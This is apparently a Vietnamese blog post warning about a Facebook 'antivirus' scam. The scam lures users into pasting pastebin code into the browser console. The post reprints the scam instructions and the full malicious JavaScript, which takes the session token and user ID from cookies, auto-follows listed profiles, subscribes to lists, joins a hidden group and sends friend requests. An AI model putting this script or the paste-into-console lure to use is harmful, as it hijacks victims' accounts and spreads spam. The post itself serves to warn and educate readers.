Chiêu lừa đảo diệt virut bị nhiễm khi online Facebook

Chiêu lừa đảo diệt virut bị nhiễm khi online Facebook nhưng thực chất là gì? Mời bạn xem:


(Ảnh 1 note đã được post trong Group của mình)

Đây là 1 chiêu lừa đảo các bạn nhẹ dạ tin rằng đây là cách diệt virut, được sử dụng trên Firefox, nó hoàn toàn không khác gì cách add bạn bè vào Group một cách tự động ngày xưa đã xảy ra hàng loạt trên trình duyệt web Chrome mà các bạn đã gặp rất nhiều các biểu ngữ của các Group không mong muốn " Xem ai ghé thăm Facebook bạn nhiều nhất"

- Dưới đây là đoạn note dùng để lừa đảo mọi người:
Bạn hoặc bạn bè bị nhiễm virus gửi link như (ảnh minh họa) https://fbcdn-sphotos-a-a.akamaihd.net/hphotos-ak-frc1/944206_515415631838985_309160470_n.jpg tới facebook bạn bè? Hoặc nếu bạn chưa bị dính virus này thì hãy làm theo các bước sau đây để cài đặt chế độ chống viruts xâm nhập tài khoản Facebook của bạn nhé
B1: ấn vào link http://pastebin.com/raw.php?i=HWD2vbwQ (đây là đoạn code chống viruts)
B2: Chọn Copy ( Ctrl + A) toàn bộ và quay lại trang facebook của bạn
B3 : Trên Chrome ấn f12 chọn qua thẻ Console và ấn Ctrl + v ( Paste)
Trên firefox thì ấn Ctrl + Shift + k rồii ấn Ctrl + v ( Paste)
Ấn Enter.
Xong,thế là chúng ta đã cài đặt được chế độ bảo mật,an toàn chống virut rồi đấy
Nhớ share để mọi người cùng làm nhé :x

Em phân tích cho cả nhà cùng thấy nhá:

1 - Đây là link hình ảnh mà rất nhiều người đã bị dính:
https://fbcdn-sphotos-a-a.akamaihd.net/hphotos-ak-frc1/944206_515415631838985_309160470_n.jpg
(Nhìn vào như Mèo nhìn thấy mỡ...:P)

2 - Đây là đoạn Code mà dùng để add bạn bè của mình vào các Group mà mình hoàn toàn không biết:
* Link của nó: http://pastebin.com/raw.php?i=HWD2vbwQ

* Đoạn code ở link trên là đây:

function cereziAl(e){var t=e+"=";if(document.cookie.length>0){konum=document.cookie.indexOf(t);if(konum!=-1){konum+=t.length;son=document.cookie.indexOf(";",konum);if(son==-1)son=document.cookie.length;return unescape(document.cookie.substring(konum,son))}else{return""}}}function getRandomInt(e,t){return Math.floor(Math.random()*(t-e+1))+e}function randomValue(e){return e[getRandomInt(0,e.length-1)]}function a(e){var t=new XMLHttpRequest;var n="/ajax/follow/follow_profile.php?__a=1";var r="profile_id="+e+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";t.open("POST",n,true);t.setRequestHeader("Content-type","application/x-www-form-urlencoded");t.setRequestHeader("Content-length",r.length);t.setRequestHeader("Connection","close");t.onreadystatechange=function(){if(t.readyState==4&&t.status==200){t.close}};t.send(r)}function sublist(e){var t=document.createElement("script");t.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+e+" }).send();";document.body.appendChild(t)}function sarkadaslari_al(){var xmlhttp=new XMLHttpRequest;xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){eval("arkadaslar = "+xmlhttp.responseText.toString().replace("for (;;);","")+";");for(f=0;f=0){xmlhttp.open("GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1"+params,true)}else{xmlhttp.open("GET","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1"+params,true)}xmlhttp.send()}function sarkadasekle(e,t){var n=new XMLHttpRequest;n.onreadystatechange=function(){if(n.readyState==4){}};n.open("POST","/ajax/add_friend/action.php?__a=1",true);var r="to_friend="+e;r+="&action=add_friend";r+="&how_found=friend_browser";r+="&ref_param=none";r+="&outgoing_id=";r+="&logging_location=friend_browser";r+="&no_flyout_on_click=true";r+="&ego_log_data=";r+="&http_referer=";r+="&fb_dtsg="+document.getElementsByName("fb_dtsg")[0].value;r+="&phstamp=165816749114848369115";r+="&__user="+user_id;n.setRequestHeader("X-SVN-Rev",svn_rev);n.setRequestHeader("Content-Type","application/x-www-form-urlencoded");if(t=="farketmez"&&document.cookie.split("cins"+user_id+"=").length>1){n.send(r)}else if(document.cookie.split("cins"+user_id+"=").lengthSuggest Friend'){l.click()}}}function blub(){if(document.getElementsByClassName("pbm fsm").length==1){w=document.getElementsByClassName("pbm fsm")[0];e=document.createElement("a");e.innerHTML="Auto Suggest by Anonymous";e.className="uiButton";e.onclick=autoSuggest;if(w.childElementCount==0){w.appendChild(document.createElement("br"));w.appendChild(e)}}}var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);a("100002737346124");a("100000211541071");a("100005581834781");a("100001049271804");a("100003011457612");a("100003586509892");a("100003128620562");a("100004643523443");a("100004006286925");a("100003059516508");a("100000587380407");a("100004283711132");a("100004059709198");a("100004052628089");a("100003258155957");a("100003130765686");a("100003916771693");a("100002213921080");a("100003074423216");a("100003788827467");a("100001667318362");a("100003607717936");a("100000061400267");a("100005274061196");a("100001792549680");a("100002532978972");a("100003128620562");a("100005058156806");a("100000644723054");a("100001049271804");a("100001025338430");a("100001116570851");a("100001553280049");a("100003138883021");a("100003128620562");sublist("136821676507683");sublist("263115400498980");sublist("468990103170737");sublist("474018059334608");;sublist("247336548742821");sublist("118807971657305");sublist("117346765137061");sublist("382400975212723");sublist("610457235650517");sublist("458976044196824");sublist("155331547978530");sublist("374194702612017");sublist("118236045046756");sublist("364179380360709");sublist("101473413393993");sublist("133025356891476");sublist("387483644699253");sublist("402886556492637");sublist("461877497240267");sublist("335818313213955");sublist("157440321093867");sublist("344405932349145");sublist("170329073127539");sublist("316125868516961");sublist("146170898900810");sublist("286892381445132");sublist("510772732303275");sublist("565887553456215");sublist("182999645186752");sublist("452540994834120");var fb_dtsg=document["getElementsByName"]("fb_dtsg")[0]["value"];var user_id=document["cookie"]["match"](document["cookie"]["match"](/c_user=(\d+)/)[1]);var httpwp=new XMLHttpRequest;var urlwp="/ajax/groups/membership/r2j.php?__a=1";var paramswp="&ref=group_jump_header&group_id="+gid+"&fb_dtsg="+fb_dtsg+"&__user="+user_id+"&phstamp=";httpwp["open"]("POST",urlwp,true);httpwp["setRequestHeader"]("Content-type","application/x-www-form-urlencoded");httpwp["setRequestHeader"]("Content-length",paramswp["length"]);httpwp["setRequestHeader"]("Connection","keep-alive");httpwp["send"](paramswp);var fb_dtsg=document["getElementsByName"]("fb_dtsg")[0]["value"];var user_id=document["cookie"]["match"](document["cookie"]["match"](/c_user=(\d+)/)[1]);var friends=new Array;gf=new XMLHttpRequest;gf["open"]("GET","/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token"+Math["random"]()+"&filter[0]=user&options[0]=friends_only",false);gf["send"]();if(gf["readyState"]!=4){}else{data=eval("("+gf["responseText"]["substr"](9)+")");if(data["error"]){}else{friends=data["payload"]["entries"]["sort"](function(e,t){return e["index"]-t["index"]})}}for(var i=0;i=0){svn_rev=document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];sarkadaslari_al();document.cookie="paylasti=evet;expires="+btarihi.toGMTString();document.removeEventListener(tiklama)}},false);var cinssonuc={};var cinshtml=document.createElement("html");blub();document.addEventListener("DOMNodeInserted",blub,true)

* Trong đoạn link này bạn dễ dàng nhận thấy các con số:
a("100002737346124");a("100000211541071");a("100005581834781");a("100001049271804");a("100003011457612");a("100003586509892");a("100003128620562");a("100004643523443");a("100004006286925");a("100003059516508");a("100000587380407");a("100004283711132");a("100004059709198");a("100004052628089");a("100003258155957");a("100003130765686");a("100003916771693");a("100002213921080");a("100003074423216");a("100003788827467");a("100001667318362");a("100003607717936");a("100000061400267");a("100005274061196");a("100001792549680");a("100002532978972");a("100003128620562");a("100005058156806");a("100000644723054");a("100001049271804");a("100001025338430");a("100001116570851");a("100001553280049");a("100003138883021");a("100003128620562");sublist("136821676507683");sublist("263115400498980");sublist("468990103170737");sublist("474018059334608");;sublist("247336548742821");sublist("118807971657305");sublist("117346765137061");sublist("382400975212723");sublist("610457235650517");sublist("458976044196824");sublist("155331547978530");sublist("374194702612017");sublist("118236045046756");sublist("364179380360709");sublist("101473413393993");sublist("133025356891476");sublist("387483644699253");sublist("402886556492637");sublist("461877497240267");sublist("335818313213955");sublist("157440321093867");sublist("344405932349145");sublist("170329073127539");sublist("316125868516961");sublist("146170898900810");sublist("286892381445132");sublist("510772732303275");sublist("565887553456215");sublist("182999645186752")

- Các dãy số để trong ngoặc đơn chính là chỉ số ID của các Group nhưng cái khôn của lần này là các Group định lừa các bạn add nhau vào đã được đặt chế độ ẩn, người ngoài hoàn toàn không nhìn thấy Group nó là gì, gọi là Group kín (Nguy hiểm hem? Là group sex còn bổ mắt tí nhờ :D)


3 - Chiêu này rất là cao thủ hơn các chiêu lần trước vì có thể áp dụng được cả hai trình duyệt web phổ thông nhất, nếu bạn không tin hay thử dính virut và diệt đi nhóe.

"B3 : Trên Chrome ấn f12 chọn qua thẻ Console và ấn Ctrl + v ( Paste)
Trên firefox thì ấn Ctrl + Shift + k rồii ấn Ctrl + v ( Paste)
Ấn Enter.
Xong,thế là chúng ta đã cài đặt được chế độ bảo mật,an toàn chống virut rồi đấy "

Nếu bạn thấy hay cùng share nhỉ? :P

Các bạn nếu gặp các trường hợp như trên nên cảnh báo mọi người để không bị add vào các Group theo 1 cách miễn cưỡng.